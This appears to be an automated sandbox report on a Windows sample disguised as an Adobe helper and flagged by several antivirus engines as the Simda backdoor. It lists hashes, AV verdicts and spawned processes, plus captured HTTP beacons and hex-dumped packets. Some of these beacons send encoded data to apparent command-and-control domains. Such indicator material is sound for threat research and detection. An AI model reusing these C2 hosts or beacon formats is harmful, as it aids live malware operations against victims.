Analysis Date2018-06-09 23:01:33
MD5dc42dc93fd7a4a0829141175accdd0a1
SHA16d91144703a445976bea8a81030376bfe59a9892

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: a527cdc6932994d0b429124f7e668b82 sha1: 6a583dcc4864a8c5aba2ae52f43c03008a9a1af9 size: 2048
Section.rdata md5: ea4d9a31de5ba7eb2c288b5578973a28 sha1: 676c1b42129a1f1d734aa8ff1e2015440de9bcbf size: 900608
Section.data md5: e80416aab569a1039d72f5d3c0dcedb5 sha1: 525161cb7e1af44404ab871f46b8024f86d9a3e5 size: 20480
Section.rsrc md5: 4bd95c0c0fe4e19bcff7aae79c285db7 sha1: 58b93ca4b740ad0ee191087686ab811964cef351 size: 1536
Timestamp2014-11-16 10:52:46
VersionLegalCopyright: © 2005-2010 Adobe Systems Incorporated. All rights reserved.
InternalName: AdobeHelperx64
FileVersion: 3,0,121,0
CompanyName: Adobe Systems Incorporated
ProductName: Adobe Setup
ProductVersion: 3,0,121,0
FileDescription: AdobeHelperx64 Utility Application
OriginalFilename: AdobeHelperx64.exe
PackerBorland Delphi 3.0 (???)
PEhash787bea7948b05210252eeda3542955f3bdbd6634
IMPhashfa8eeafca8fa3696473743d23df1fc89
AV360 SafeGen:Variant.Kazy.496497
AVAd-AwareGen:Variant.Kazy.496497
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVArcabit (arcavir)no_virus
AVAuthentiumno_virus
AVAvira (antivir)TR/Crypt.ZPACK.99285
AVBullGuardGen:Variant.Kazy.496497
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Variant.Kazy.496497
AVEset (nod32)Win32/Simda.B
AVFortinetW32/Simda.AEMR!tr.bdr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Variant.Kazy.496497
AVGrisoft (avg)Simda.ABA
AVIkarusno_virus
AVK7no_virus
AVKasperskyBackdoor.Win32.Simda.aemr
AVMalwareBytesTrojan.Simda
AVMcafeeRDN/DNSChanger.bfr!e
AVMicrosoft Security EssentialsBackdoor:Win32/Simda.AT
AVMicroWorld (escan)no_virus
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend Microno_virus
AVVirusBlokAda (vba32)no_virus

Runtime Details:

Screenshot

Process
↳ C:\Windows\System32\lsass.exe

Process
↳ C:\Users\Phil\AppData\Local\Temp\6d91144703a445976bea8a81030376bfe59a9892.exe

Network Details:

HTTP GEThttp://report.o17myw79yws9eiq9w1.com/?EIQG31=%96%C7%D6%A5%AA%A7%5E%A2ag%9E%B0%D9on%DA%DB%A4n%97%CF%D6%9D%AB%96c%C7%A0%CFzy%81%AAY%A8%E8%A2%E7%E5%CA%C4T%E4%9A%9B%AA%AA%A8jk%AA%9D%DF%A7%CC%A6%D6%A7%A4%86%81%89%DC%D6%A9%86%96zva%B4%A8%A0%A8%B3%A6r%A0r%7B%AE%AA%AF%7Ci%BF%AE%B4~%97%AB%A8%7D%BAtb%98%A5%93%B7%AE%C4%84ca%A2%95%A0%A2%A3%A4%5E%9Fah%9D%A9%A7gi%A9%A7%A3_%DB%A6%A1i%A7a%5E%97%A2%B0k%BB%CB%84fc%96
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
HTTP POSThttp://report.o17myw79yws9eiq9w1.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
HTTP GEThttp://update2.84f7bwiat2.com/?b7=kdfWmpmnlWVeaGWdmZqsysWlZ2DJ1NGp1ZnFpcdnXmiXjJrR5d3T456ayOGq6NnLz5rJk6KZcdWlzK%2BdrqWkmrGwqpvf0MXhzpZrmpqcb5WnnJGkY2XFp6LW1JWWpsuXkmyZm5uT2Z6RpJVU0NjRsrWXpKSndV5xdZh7k7itoqVqc5O1pLa1lqOrqXVxbGmcWw%3D%3D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre
HTTP GEThttp://report.o17myw79yws9eiq9w1.com/?IQGM41=%96%C7%D6%A5%AA%A7%5E%A2ag%9E%B0%D9on%DA%DB%A4n%97%CF%D6%9D%AB%96c%C7%A0%CF~%81w%B0Z%A8%E8%A2%E7%E5%CA%C4T%E4%9A%9B%AA%AA%A8jk%AA%9D%DF%A7%CC%A6%D6%A7%A4%86%81%89%DC%D6%AD%8E%8C%80wa%B4%A8%A0%A8%B3%A6r%A0r%7B%AE%AA%AF%7Ci%BF%AE%B4~%97%AB%A8%7D%BAtb%98%A5%93%BB%B6%BA%8Aea%A2%95%A0%A3%A3%A4%5E%9Fah%9D%A9%A7gi%A9%A7%A4_%DB%A6%A1i%A7a%5E%97%A2%B0o%C3%C1%8Agc%96
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Flows TCP192.168.1.1:1031 ➝ 79.142.66.239:80
Flows TCP192.168.1.1:1031 ➝ 79.142.66.239:80
Flows TCP192.168.1.1:1032 ➝ 5.149.248.152:80
Flows TCP192.168.1.1:1033 ➝ 5.149.248.152:80
Flows TCP192.168.1.1:1034 ➝ 79.142.66.239:80

Raw Pcap
0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 35303a35 3335370d 0a0d0a3c   00.150:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a613830 66333131 332d6161 66312d34   :a80f3113-aaf1-4
0x00000280 (00640)   3536342d 39353262 2d656130 64313737   564-952b-ea0d177
0x00000290 (00656)   39636630 343c2f77 73613a4d 65737361   9cf04</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3733 64653931   >urn:uuid:73de91
0x00000340 (00832)   64372d32 6131632d 34613463 2d396337   d7-2a1c-4a4c-9c7
0x00000350 (00848)   352d3331 64653536 32666232 61363c2f   5-31de562fb2a6</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>

0x00000000 (00000)   47455420 2f3f474d 59353331 3d253936   GET /?GMY531=%96
0x00000010 (00016)   25433825 41342541 35254133 25443625   %C8%A4%A5%A3%D6%
0x00000020 (00032)   39322539 37253938 25443325 41412541   92%97%98%D3%AA%A
0x00000030 (00048)   43254137 2539466a 25444325 44392544   C%A7%9Fj%DC%D9%D
0x00000040 (00064)   37254430 25393766 25393725 36302539   7%D0%97f%97%60%9
0x00000050 (00080)   39254134 25413325 41442541 45254244   9%A4%A3%AD%AE%BD
0x00000060 (00096)   25393769 25393725 44372538 42254537   %97i%97%D7%8B%E7
0x00000070 (00112)   25453525 41462545 42254134 6c253844   %E5%AF%EB%A4l%8D
0x00000080 (00128)   25453225 45322544 42254230 25394366   %E2%E2%DB%B0%9Cf
0x00000090 (00144)   25414325 41392541 34253931 25413125   %AC%A9%A4%91%A1%
0x000000a0 (00160)   41332543 456b2543 38254444 25394125   A3%CEk%C8%DD%9A%
0x000000b0 (00176)   39432541 30253746 25413225 39432539   9C%A0%7F%A2%9C%9
0x000000c0 (00192)   35254146 25394225 42342541 34254236   5%AF%9B%B4%A4%B6
0x000000d0 (00208)   25414162 77254130 25413025 42422541   %AAbw%A0%A0%BB%A
0x000000e0 (00224)   42254142 25414377 25413925 42442541   B%AB%ACw%A9%BD%A
0x000000f0 (00240)   39253945 77782539 42672539 36254138   9%9Ewx%9Bg%96%A8
0x00000100 (00256)   25423325 37462538 30253946 67686925   %B3%7F%80%9Fghi%
0x00000110 (00272)   41422538 42254532 25443425 45352542   AB%8B%E2%D4%E5%B
0x00000120 (00288)   31253545 65253937 25394425 41392541   1%5Ee%97%9D%A9%A
0x00000130 (00304)   41254134 25394265 25413925 41372541   A%A4%9Be%A9%A7%A
0x00000140 (00320)   34253942 65652539 37253545 25393325   4%9Bee%97%5E%93%
0x00000150 (00336)   39462539 446d2543 33253936 65636125   9F%9Dm%C3%96eca%
0x00000160 (00352)   41322539 35254134 25413225 42352539   A2%95%A4%A2%B5%9
0x00000170 (00368)   41254130 25414625 41342541 33254144   A%A0%AF%A4%A3%AD
0x00000180 (00384)   25394220 48545450 2f312e31 0d0a486f   %9B HTTP/1.1..Ho
0x00000190 (00400)   73743a20 7265706f 72742e35 676d7977   st: report.5gmyw
0x000001a0 (00416)   736b3579 77736b35 35672e63 6f6d0d0a   sk5ywsk55g.com..
0x000001b0 (00432)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x000001c0 (00448)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x000001d0 (00464)   626c653b 204d5349 4520382e 303b2054   ble; MSIE 8.0; T
0x000001e0 (00480)   72696465 6e742f34 2e303b20 2e4e4554   rident/4.0; .NET
0x000001f0 (00496)   20434c52 20322e30 2e353037 32373b20    CLR 2.0.50727; 
0x00000200 (00512)   2e4e4554 20434c52 20312e31 2e343332   .NET CLR 1.1.432
0x00000210 (00528)   323b202e 4e455420 434c5220 332e302e   2; .NET CLR 3.0.
0x00000220 (00544)   30343530 362e3539 303b202e 4e455420   04506.590; .NET 
0x00000230 (00560)   434c5220 332e302e 30343530 362e3634   CLR 3.0.04506.64
0x00000240 (00576)   383b202e 4e455420 434c5220 332e352e   8; .NET CLR 3.5.
0x00000250 (00592)   32313032 323b202e 4e455420 434c5220   21022; .NET CLR 
0x00000260 (00608)   332e302e 34353036 2e323135 323b202e   3.0.4506.2152; .
0x00000270 (00624)   4e455420 434c5220 332e352e 33303732   NET CLR 3.5.3072
0x00000280 (00640)   39290d0a 0d0a                         9)....

0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 39393a35 3335370d 0a0d0a3c   00.199:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a383061 63396161 622d6238 36352d34   :80ac9aab-b865-4
0x00000280 (00640)   3437352d 39666232 2d616638 39336265   475-9fb2-af893be
0x00000290 (00656)   30643239 653c2f77 73613a4d 65737361   0d29e</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3733 64653931   >urn:uuid:73de91
0x00000340 (00832)   64372d32 6131632d 34613463 2d396337   d7-2a1c-4a4c-9c7
0x00000350 (00848)   352d3331 64653536 32666232 61363c2f   5-31de562fb2a6</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>

0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 35353a35 3335370d 0a0d0a3c   00.155:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a393030 30323363 312d3034 33332d34   :900023c1-0433-4
0x00000280 (00640)   3737392d 62313962 2d636663 65313439   779-b19b-cfce149
0x00000290 (00656)   35366339 383c2f77 73613a4d 65737361   56c98</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3733 64653931   >urn:uuid:73de91
0x00000340 (00832)   64372d32 6131632d 34613463 2d396337   d7-2a1c-4a4c-9c7
0x00000350 (00848)   352d3331 64653536 32666232 61363c2f   5-31de562fb2a6</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a486f73 743a2072 65706f72 742e3567   .Host: report.5g
0x00000020 (00032)   6d797773 6b357977 736b3535 672e636f   mywsk5ywsk55g.co
0x00000030 (00048)   6d0d0a55 7365722d 4167656e 743a204d   m..User-Agent: M
0x00000040 (00064)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000050 (00080)   61746962 6c653b20 4d534945 20382e30   atible; MSIE 8.0
0x00000060 (00096)   3b205472 6964656e 742f342e 303b202e   ; Trident/4.0; .
0x00000070 (00112)   4e455420 434c5220 322e302e 35303732   NET CLR 2.0.5072
0x00000080 (00128)   373b202e 4e455420 434c5220 312e312e   7; .NET CLR 1.1.
0x00000090 (00144)   34333232 3b202e4e 45542043 4c522033   4322; .NET CLR 3
0x000000a0 (00160)   2e302e30 34353036 2e353930 3b202e4e   .0.04506.590; .N
0x000000b0 (00176)   45542043 4c522033 2e302e30 34353036   ET CLR 3.0.04506
0x000000c0 (00192)   2e363438 3b202e4e 45542043 4c522033   .648; .NET CLR 3
0x000000d0 (00208)   2e352e32 31303232 3b202e4e 45542043   .5.21022; .NET C
0x000000e0 (00224)   4c522033 2e302e34 3530362e 32313532   LR 3.0.4506.2152
0x000000f0 (00240)   3b202e4e 45542043 4c522033 2e352e33   ; .NET CLR 3.5.3
0x00000100 (00256)   30373239 290d0a43 6f6e7465 6e742d4c   0729)..Content-L
0x00000110 (00272)   656e6774 683a2032 3639330d 0a436f6e   ength: 2693..Con
0x00000120 (00288)   74656e74 2d547970 653a2061 70706c69   tent-Type: appli
0x00000130 (00304)   63617469 6f6e2f78 2d777777 2d666f72   cation/x-www-for
0x00000140 (00320)   6d2d7572 6c656e63 6f646564 0d0a0d0a   m-urlencoded....
0x00000150 (00336)   43453331 3d253936 25433825 41342541   CE31=%96%C8%A4%A
0x00000160 (00352)   35254133 25443625 39322539 37253938   5%A3%D6%92%97%98
0x00000170 (00368)   25443325 41412541 43254137 2539466a   %D3%AA%AC%A7%9Fj
0x00000180 (00384)   25444325 44392544 37254430 25393766   %DC%D9%D7%D0%97f
0x00000190 (00400)   25393725 36302539 39254134 25413325   %97%60%99%A4%A3%
0x000001a0 (00416)   41392541 36253937 25393325 41382543   A9%A6%97%93%A8%C
0x000001b0 (00432)   42254435 25393525 45342544 35254135   B%D5%95%E4%D5%A5
0x000001c0 (00448)   72254441 25444225 41432541 45254141   r%DA%DB%AC%AE%AA
0x000001d0 (00464)   25394265 25414625 41442541 41254130   %9Be%AF%AD%AA%A0
0x000001e0 (00480)   66253934 25444525 39372539 34254132   f%94%DE%97%94%A2
0x000001f0 (00496)   25394579 796a6825 41362539 35254132   %9Eyyjh%A6%95%A2
0x00000200 (00512)   25413725 41322541 42666625 39392541   %A7%A2%ABff%99%A
0x00000210 (00528)   32254139 25443625 45322544 386b2541   2%A9%D6%E2%D8k%A
0x00000220 (00544)   42254146 25413525 39426565 2539375f   B%AF%A5%9Bee%97_
0x00000230 (00560)   25393825 41312541 32777563 64254133   %98%A1%A2wucd%A3
0x00000240 (00576)   25393525 41392541 38254138 25433925   %95%A9%A8%A8%C9%
0x00000250 (00592)   39432541 30254435 25444325 46302545   9C%A0%D5%DC%F0%E
0x00000260 (00608)   35254432 2543416a 25423125 41382541   5%D2%CAj%B1%A8%A
0x00000270 (00624)   42254134 626b2539 41622539 30254131   B%A4bk%9Ab%90%A1
0x00000280 (00640)   25413075 75696925 41392539 32254134   %A0uuii%A9%92%A4
0x00000290 (00656)   25413525 41422541 34662539 34254336   %A5%AB%A4f%94%C6
0x000002a0 (00672)   25413025 42302541 45254133 2539426b   %A0%B0%AE%A3%9Bk
0x000002b0 (00688)   25414625 41452541 38253943 25354225   %AF%AE%A8%9C%5B%
0x000002c0 (00704)   41432544 446b2544 41254535 25413469   AC%DDk%DA%E5%A4i
0x000002d0 (00720)   25424125 39432539 35254146 25393625   %BA%9C%95%AF%96%
0x000002e0 (00736)   41312541 32254134 25413554 25413125   A1%A2%A4%A5T%A1%
0x000002f0 (00752)   44352544 34254236 25444325 45312539   D5%D4%B6%DC%E1%9
0x00000300 (00768)   38253841 25434325 39442545 30254434   8%8A%CC%9D%E0%D4
0x00000310 (00784)   25393972 25394472 25393825 42332541   %99r%9Dr%98%B3%A
0x00000320 (00800)   33772538 376c6425 42342539 39254138   3w%87ld%B4%99%A8
0x00000330 (00816)   25423025 42342541 34746b25 39412541   %B0%B4%A4tk%9A%A
0x00000340 (00832)   46254243 25414225 41432539 456e2542   F%BC%AB%AC%9En%B
